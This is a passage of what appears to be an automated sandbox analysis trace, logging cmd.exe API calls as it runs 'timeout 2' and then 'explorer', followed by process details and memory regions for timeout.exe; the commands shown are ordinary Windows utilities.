(_String1="timeout", _String2="DIR") returned 16 [0106.165] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15 [0106.165] _wcsicmp (_String1="timeout", _String2="DEL") returned 16 [0106.165] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16 [0106.165] _wcsicmp (_String1="timeout", _String2="COPY") returned 17 [0106.166] _wcsicmp (_String1="timeout", _String2="CD") returned 17 [0106.166] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17 [0106.166] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2 [0106.166] _wcsicmp (_String1="timeout", _String2="REN") returned 2 [0106.166] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15 [0106.166] _wcsicmp (_String1="timeout", _String2="SET") returned 1 [0106.166] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4 [0106.166] _wcsicmp (_String1="timeout", _String2="DATE") returned 16 [0106.166] _wcsicmp (_String1="timeout", _String2="TIME") returned 111 [0106.166] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4 [0106.166] _wcsicmp (_String1="timeout", _String2="MD") returned 7 [0106.166] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7 [0106.166] _wcsicmp (_String1="timeout", _String2="RD") returned 2 [0106.166] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2 [0106.166] _wcsicmp (_String1="timeout", _String2="PATH") returned 4 [0106.166] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13 [0106.166] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1 [0106.166] _wcsicmp (_String1="timeout", _String2="CLS") returned 17 [0106.166] _wcsicmp (_String1="timeout", _String2="CALL") returned 17 [0106.166] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2 [0106.167] _wcsicmp (_String1="timeout", _String2="VER") returned -2 [0106.167] _wcsicmp (_String1="timeout", _String2="VOL") returned -2 [0106.167] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15 [0106.167] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1 [0106.167] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15 [0106.167] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7 [0106.167] _wcsicmp (_String1="timeout", _String2="START") returned 1 [0106.167] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16 [0106.167] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9 [0106.167] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7 [0106.167] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4 [0106.167] _wcsicmp (_String1="timeout", _String2="POPD") returned 4 [0106.167] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19 [0106.167] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14 [0106.167] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18 [0106.167] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17 [0106.167] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7 [0106.167] _wcsicmp (_String1="timeout", _String2="DIR") returned 16 [0106.167] _wcsicmp (_String1="timeout", _String2="ERASE") returned 15 [0106.167] _wcsicmp (_String1="timeout", _String2="DEL") returned 16 [0106.167] _wcsicmp (_String1="timeout", _String2="TYPE") returned -16 [0106.167] _wcsicmp (_String1="timeout", _String2="COPY") returned 17 [0106.167] _wcsicmp (_String1="timeout", _String2="CD") returned 17 [0106.167] _wcsicmp (_String1="timeout", _String2="CHDIR") returned 17 [0106.167] _wcsicmp (_String1="timeout", _String2="RENAME") returned 2 [0106.167] _wcsicmp (_String1="timeout", _String2="REN") returned 2 [0106.167] _wcsicmp (_String1="timeout", _String2="ECHO") returned 15 [0106.167] _wcsicmp (_String1="timeout", _String2="SET") returned 1 [0106.167] _wcsicmp (_String1="timeout", _String2="PAUSE") returned 4 [0106.167] _wcsicmp (_String1="timeout", _String2="DATE") returned 16 [0106.168] _wcsicmp (_String1="timeout", _String2="TIME") returned 111 [0106.168] _wcsicmp (_String1="timeout", _String2="PROMPT") returned 4 [0106.168] _wcsicmp (_String1="timeout", _String2="MD") returned 7 [0106.168] _wcsicmp (_String1="timeout", _String2="MKDIR") returned 7 [0106.168] _wcsicmp (_String1="timeout", _String2="RD") returned 2 [0106.168] _wcsicmp (_String1="timeout", _String2="RMDIR") returned 2 [0106.168] _wcsicmp (_String1="timeout", _String2="PATH") returned 4 [0106.168] _wcsicmp (_String1="timeout", _String2="GOTO") returned 13 [0106.168] _wcsicmp (_String1="timeout", _String2="SHIFT") returned 1 [0106.168] _wcsicmp (_String1="timeout", _String2="CLS") returned 17 [0106.168] _wcsicmp (_String1="timeout", _String2="CALL") returned 17 [0106.168] _wcsicmp (_String1="timeout", _String2="VERIFY") returned -2 [0106.168] _wcsicmp (_String1="timeout", _String2="VER") returned -2 [0106.168] _wcsicmp (_String1="timeout", _String2="VOL") returned -2 [0106.168] _wcsicmp (_String1="timeout", _String2="EXIT") returned 15 [0106.168] _wcsicmp (_String1="timeout", _String2="SETLOCAL") returned 1 [0106.168] _wcsicmp (_String1="timeout", _String2="ENDLOCAL") returned 15 [0106.168] _wcsicmp (_String1="timeout", _String2="TITLE") returned -7 [0106.168] _wcsicmp (_String1="timeout", _String2="START") returned 1 [0106.168] _wcsicmp (_String1="timeout", _String2="DPATH") returned 16 [0106.168] _wcsicmp (_String1="timeout", _String2="KEYS") returned 9 [0106.168] _wcsicmp (_String1="timeout", _String2="MOVE") returned 7 [0106.168] _wcsicmp (_String1="timeout", _String2="PUSHD") returned 4 [0106.169] _wcsicmp (_String1="timeout", _String2="POPD") returned 4 [0106.169] _wcsicmp (_String1="timeout", _String2="ASSOC") returned 19 [0106.169] _wcsicmp (_String1="timeout", _String2="FTYPE") returned 14 [0106.169] _wcsicmp (_String1="timeout", _String2="BREAK") returned 18 [0106.169] _wcsicmp (_String1="timeout", _String2="COLOR") returned 17 [0106.171] _wcsicmp (_String1="timeout", _String2="MKLINK") returned 7 [0106.171] _wcsicmp (_String1="timeout", _String2="FOR") returned 14 [0106.171] _wcsicmp (_String1="timeout", _String2="IF") returned 11 [0106.182] _wcsicmp (_String1="timeout", _String2="REM") returned 2 [0106.183] _wcsnicmp (_String1="time", _String2="cmd ", _MaxCount=0x4) returned 17 [0106.183] SetErrorMode (uMode=0x0) returned 0x0 [0106.183] SetErrorMode (uMode=0x1) returned 0x0 [0106.183] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4d07f8, lpFilePart=0x3cf11c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cf11c*="Desktop") returned 0x25 [0106.183] SetErrorMode (uMode=0x0) returned 0x1 [0106.184] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0106.184] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0106.199] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0106.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.302] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\timeout.*", fInfoLevelId=0x1, lpFindFileData=0x3cee98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee98) returned 0xffffffff [0106.302] GetLastError () returned 0x2 [0106.302] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\timeout", fInfoLevelId=0x1, lpFindFileData=0x3cee98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee98) returned 0xffffffff [0106.302] GetLastError () returned 0x2 [0106.302] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0106.302] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.*", fInfoLevelId=0x1, lpFindFileData=0x3cee98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee98) returned 0x4e3658 [0106.330] FindClose (in: hFindFile=0x4e3658 | out: hFindFile=0x4e3658) returned 1 [0106.330] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.COM", fInfoLevelId=0x1, lpFindFileData=0x3cee98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee98) returned 0xffffffff [0106.331] GetLastError () returned 0x2 [0106.331] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\timeout.EXE", fInfoLevelId=0x1, lpFindFileData=0x3cee98, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee98) returned 0x4e3658 [0106.331] FindClose (in: hFindFile=0x4e3658 | out: hFindFile=0x4e3658) returned 1 [0106.331] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0106.331] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0106.331] GetConsoleTitleW (in: lpConsoleTitle=0x3cf390, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0106.331] InitializeProcThreadAttributeList (in: lpAttributeList=0x3cf218, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3cf2e0 | out: lpAttributeList=0x3cf218, lpSize=0x3cf2e0) returned 1 [0106.331] UpdateProcThreadAttribute (in: lpAttributeList=0x3cf218, dwFlags=0x0, Attribute=0x60001, lpValue=0x3cf2d8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3cf218, lpPreviousValue=0x0) returned 1 [0106.331] GetStartupInfoW (in: lpStartupInfo=0x3cf1d4 | out: lpStartupInfo=0x3cf1d4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.332] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0106.333] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0106.334] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0106.334] lstrcmpW (lpString1="\\timeout.exe", lpString2="\\XCOPY.EXE") returned -1 [0106.336] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\timeout.exe", lpCommandLine="timeout 2 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3cf274*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="timeout 2 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3cf2c0 | out: lpCommandLine="timeout 2 ", lpProcessInformation=0x3cf2c0*(hProcess=0x78, hThread=0x74, dwProcessId=0x5f4, dwThreadId=0x5a4)) returned 1 [0106.356] CloseHandle (hObject=0x74) returned 1 [0106.356] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0106.356] GetEnvironmentStringsW () returned 0x4e5fc0* [0106.356] FreeEnvironmentStringsW (penv=0x4e5fc0) returned 1 [0106.356] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0108.722] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3cf1b4 | out: lpExitCode=0x3cf1b4*=0x0) returned 1 [0108.723] CloseHandle (hObject=0x78) returned 1 [0108.723] _vsnwprintf (in: _Buffer=0x3cf2fc, _BufferCount=0x13, _Format="%08X", _ArgList=0x3cf1c0 | out: _Buffer="00000000") returned 8 [0108.723] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0108.723] GetEnvironmentStringsW () returned 0x4e41a0* [0108.723] FreeEnvironmentStringsW (penv=0x4e41a0) returned 1 [0108.723] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0108.723] GetEnvironmentStringsW () returned 0x4e41a0* [0108.723] FreeEnvironmentStringsW (penv=0x4e41a0) returned 1 [0108.723] DeleteProcThreadAttributeList (in: lpAttributeList=0x3cf218 | out: lpAttributeList=0x3cf218) [0108.724] GetConsoleTitleW (in: lpConsoleTitle=0x3cf598, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0108.724] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4e2338, lpFilePart=0x3cf0b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cf0b8*="Desktop") returned 0x25 [0108.724] SetErrorMode (uMode=0x0) returned 0x1 [0108.724] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0108.724] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0108.725] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acc0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0108.725] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0108.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\explorer.*", fInfoLevelId=0x1, lpFindFileData=0x3cee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee34) returned 0xffffffff [0108.725] GetLastError () returned 0x2 [0108.725] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\explorer", fInfoLevelId=0x1, lpFindFileData=0x3cee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee34) returned 0xffffffff [0108.725] GetLastError () returned 0x2 [0108.725] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0108.726] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\explorer.*", fInfoLevelId=0x1, lpFindFileData=0x3cee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee34) returned 0x4e3658 [0108.726] FindClose (in: hFindFile=0x4e3658 | out: hFindFile=0x4e3658) returned 1 [0108.726] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\explorer.COM", fInfoLevelId=0x1, lpFindFileData=0x3cee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee34) returned 0xffffffff [0108.726] GetLastError () returned 0x2 [0108.726] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\explorer.EXE", fInfoLevelId=0x1, lpFindFileData=0x3cee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cee34) returned 0x4e3658 [0108.726] FindClose (in: hFindFile=0x4e3658 | out: hFindFile=0x4e3658) returned 1 [0108.726] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0108.726] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0108.726] GetConsoleTitleW (in: lpConsoleTitle=0x3cf32c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0108.727] InitializeProcThreadAttributeList (in: lpAttributeList=0x3cf1b4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3cf27c | out: lpAttributeList=0x3cf1b4, lpSize=0x3cf27c) returned 1 [0108.727] UpdateProcThreadAttribute (in: lpAttributeList=0x3cf1b4, dwFlags=0x0, Attribute=0x60001, lpValue=0x3cf274, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3cf1b4, lpPreviousValue=0x0) returned 1 [0108.727] GetStartupInfoW (in: lpStartupInfo=0x3cf170 | out: lpStartupInfo=0x3cf170*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0108.727] lstrcmpW (lpString1="\\explorer.exe", lpString2="\\XCOPY.EXE") returned -1 [0108.727] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\explorer.exe", lpCommandLine="explorer ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3cf210*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="explorer ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3cf25c | out: lpCommandLine="explorer ", lpProcessInformation=0x3cf25c*(hProcess=0x74, hThread=0x78, dwProcessId=0x5cc, dwThreadId=0x6f8)) returned 1 [0108.793] CloseHandle (hObject=0x78) returned 1 [0108.793] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0108.793] GetEnvironmentStringsW () returned 0x4e41a0* [0108.793] FreeEnvironmentStringsW (penv=0x4e41a0) returned 1 [0108.793] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0114.905] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x3cf150 | out: lpExitCode=0x3cf150*=0x1) returned 1 [0114.905] CloseHandle (hObject=0x74) returned 1 [0114.905] _vsnwprintf (in: _Buffer=0x3cf298, _BufferCount=0x13, _Format="%08X", _ArgList=0x3cf15c | out: _Buffer="00000001") returned 8 [0114.905] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0114.905] GetEnvironmentStringsW () returned 0x4e41a0* [0114.905] FreeEnvironmentStringsW (penv=0x4e41a0) returned 1 [0114.905] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0114.906] GetEnvironmentStringsW () returned 0x4e41a0* [0114.906] FreeEnvironmentStringsW (penv=0x4e41a0) returned 1 [0114.906] DeleteProcThreadAttributeList (in: lpAttributeList=0x3cf1b4 | out: lpAttributeList=0x3cf1b4) [0114.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0114.906] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0114.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0114.906] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4acb41ac | out: lpMode=0x4acb41ac) returned 1 [0114.906] _get_osfhandle (_FileHandle=0) returned 0x3 [0114.906] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4acb41b0 | out: lpMode=0x4acb41b0) returned 1 [0114.907] _get_osfhandle (_FileHandle=0) returned 0x3 [0114.907] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0114.907] SetConsoleInputExeNameW () returned 0x1 [0114.907] GetConsoleOutputCP () returned 0x1b5 [0114.907] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acb4260 | out: lpCPInfo=0x4acb4260) returned 1 [0114.907] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.908] exit (_Code=1) Process: id = "3" image_name = "timeout.exe" filename = "c:\\windows\\syswow64\\timeout.exe" page_root = "0x13823000" os_pid = "0x5f4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x5c4" cmd_line = "timeout 2 " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 460 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 461 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 462 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 463 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 464 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 465 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 466 start_va = 0x200000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 467 start_va = 0xbc0000 end_va = 0xbc9fff entry_point = 0xbc0000 region_type = mapped_file name = "timeout.exe" filename = "\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe") Region: id = 468 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 469 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 470 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 471 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 472 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 473 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 474 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 475 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 476 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 477 start_va = 0x180000 end_va = 0x1fffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 478 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 479 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 480 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 481 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 482 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 483 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 484 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 485 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 486 start_va = 0x290000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = 